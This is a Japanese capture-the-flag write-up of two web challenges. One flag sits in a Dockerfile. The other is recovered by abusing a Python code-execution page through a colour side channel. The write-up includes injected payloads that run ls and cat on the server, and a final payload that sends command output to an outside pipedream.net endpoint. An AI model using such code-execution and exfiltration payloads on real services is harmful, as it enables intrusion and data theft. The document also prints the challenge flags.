例によって休日はあまり時間が作れず、簡単なもの2問にしか取り組めなかった。
だいたい3時間くらい。
readme [Web]
特に何もない画面
提供されているソースコードのDockerfileの中に直接書かれていた。
初めはフェイクのフラグだと思って読み飛ばしてたのだが、試しに入れてみると通ってしまった・・・。
FROM node:20-bookworm-slim
RUN apt-get update \
&& apt-get install -y nginx tini \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
WORKDIR /app
COPY package.json yarn.lock ./
RUN yarn install --frozen-lockfile
COPY src ./src
COPY public ./public
COPY default.conf /etc/nginx/sites-available/default
COPY start.sh /start.sh
ENV FLAG="ictf{path_normalization_to_the_rescue}"
ENTRYPOINT ["/usr/bin/tini", "--"]
CMD ["/start.sh"]
以下のようにpublic/にフラグをコピーして、staticに指定してるので、public/flag.txtとかにアクセスすると取れるのかなと思ったが、それは上手くいかず・・・
ちょっと問題の意図が分からなかった。
#!/bin/sh
echo "${FLAG:-not_flag}" > /app/public/flag.txt
nginx &
node src/app.js
const express = require('express')
const path = require('path')
const app = express()
app.use(express.static(path.join(__dirname, '../public')))
app.listen(8000)
P2C [Web]
Pythonのコードを入力して送信すると、背景の色が変わるWebページ
def xec(code):
code = code.strip()
indented = "\n".join([" " + line for line in code.strip().splitlines()])
file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")
os.system(f"chmod 755 {file}")
try:
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
output = res.stdout
except Exception as e:
output = None
os.remove(file)
return output
import sys
if "random" not in dir():
import random
def rgb_parse(inp=""):
inp = str(inp)
randomizer = random.randint(100, 1000)
total = 0
for n in inp:
n = ord(n)
total += n+random.randint(1, 10)
rgb = total*randomizer*random.randint(100, 1000)
rgb = str(rgb%1000000000)
r = int(rgb[0:3]) + 29
g = int(rgb[3:6]) + random.randint(10, 100)
b = int(rgb[6:9]) + 49
r, g, b = r%256, g%256, b%256
return r, g, b
実装をみると、入力したコードがmain関数としてファイルに書き込まれ、その結果をrgb_parse関数に通した結果を背景色としているようだ。
乱数でごちゃごちゃ処理をしているので、適当なコード入力だと結果は毎度異なるのだが、執拗なほど乱数が使われているのはヒントなのだろう。
すこし考えて、これはrandom.seed()
を使うことで結果を固定できることに気付いた。
これで結果の背景色からflagを探すことができる。
from bs4 import BeautifulSoup
import requests
# POSTしてHTMLから背景色を得る。
def post(data):
response = requests.post('http://p2c.chal.imaginaryctf.org/', data=data)
soup = BeautifulSoup(response.text)
response.close()
return str(soup.body.script).split('"')[1]
# 1文字だけ入力して結果を集める
import string
mapping = {}
characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '{}_'
for char in characters:
data = {
'code': f'''
import random
random.seed(1)
return '{char}'
'''
}
mapping[post(data)] = char
{
'rgb(161, 173, 131)': '0',
'rgb(164, 233, 110)': '1',
'rgb(166, 13, 89)': '2',
...
}
まずは、main()の戻り値をアルファベットと数字(加えてフラグに使われそうな記号)1文字のみとし、結果を集める。
その後、main()の戻り値を、lsやcatを実行した結果を1文字ずつずらしながら出力するようにして、先ほど作った表と照らし合せていけばよい。
まずはls
# lsの結果を検証
for n in range(15):
data = {
'code': f'''
import random
random.seed(1)
import subprocess
return subprocess.run(['ls'], capture_output=True, text=True).stdout[{n}]
'''
}
result = post(data)
print(result, mapping.get(result))
rgb(18, 239, 102) a
rgb(52, 104, 87) p
rgb(52, 104, 87) p
rgb(157, 102, 73) .
rgb(52, 104, 87) p
rgb(73, 242, 98) y
rgb(231, 120, 49) None
rgb(29, 186, 97) f
rgb(43, 193, 71) l
rgb(18, 239, 102) a
rgb(31, 222, 76) g
rgb(157, 102, 73) .
rgb(61, 15, 103) t
rgb(70, 182, 119) x
rgb(61, 15, 103) t
これでflag.txtが存在することが分かった。
次にcat flag.txt
for n in range(35):
data = {
'code': f'''
import random
random.seed(1)
import subprocess
return subprocess.run(['cat', 'flag.txt'], capture_output=True, text=True).stdout[{n}]
'''
}
result = post(data)
print(result, mapping.get(result))
rgb(36, 61, 134) i
rgb(22, 55, 60) c
rgb(61, 15, 103) t
rgb(29, 186, 97) f
rgb(77, 58, 56) {
rgb(25, 114, 139) d
rgb(164, 233, 110) 1
rgb(13, 143, 144) _
rgb(22, 55, 60) c
rgb(50, 68, 108) o
rgb(43, 193, 71) l
rgb(50, 68, 108) o
rgb(57, 199, 145) r
rgb(13, 143, 144) _
rgb(52, 104, 87) p
rgb(36, 61, 134) i
rgb(22, 55, 60) c
rgb(41, 157, 92) k
rgb(27, 150, 118) e
rgb(57, 199, 145) r
rgb(13, 143, 144) _
rgb(29, 186, 97) f
rgb(57, 199, 145) r
rgb(13, 143, 144) _
rgb(166, 13, 89) 2
rgb(22, 55, 60) c
rgb(27, 150, 118) e
rgb(161, 173, 131) 0
rgb(25, 114, 139) d
rgb(25, 114, 139) d
rgb(168, 49, 68) 3
rgb(25, 114, 139) d
rgb(82, 153, 114) }
rgb(231, 120, 49) None
rgb(16, 36, 198) None
これをつなぎ合わせて、フラグ ictf{d1_color_picker_fr_2ce0dd3d}
が得られた。
が、解いた後に、こんな効率の悪いことをしなくて良いことに気付いた。
ls, catの結果を自分のサーバに送信すればよいだけである。
data = {
'code': '''
from urllib.request import urlopen
from urllib.parse import quote
import urllib
import subprocess
output = subprocess.run(['ls'], capture_output=True, text=True,).stdout
urlopen(f'https://eo8r9n7l6okfe60.m.pipedream.net?result={quote(output)}')
'''
}
post(data)
少しでもサーバに負荷をかけるような方法を取ってしまったことが悔やまれる。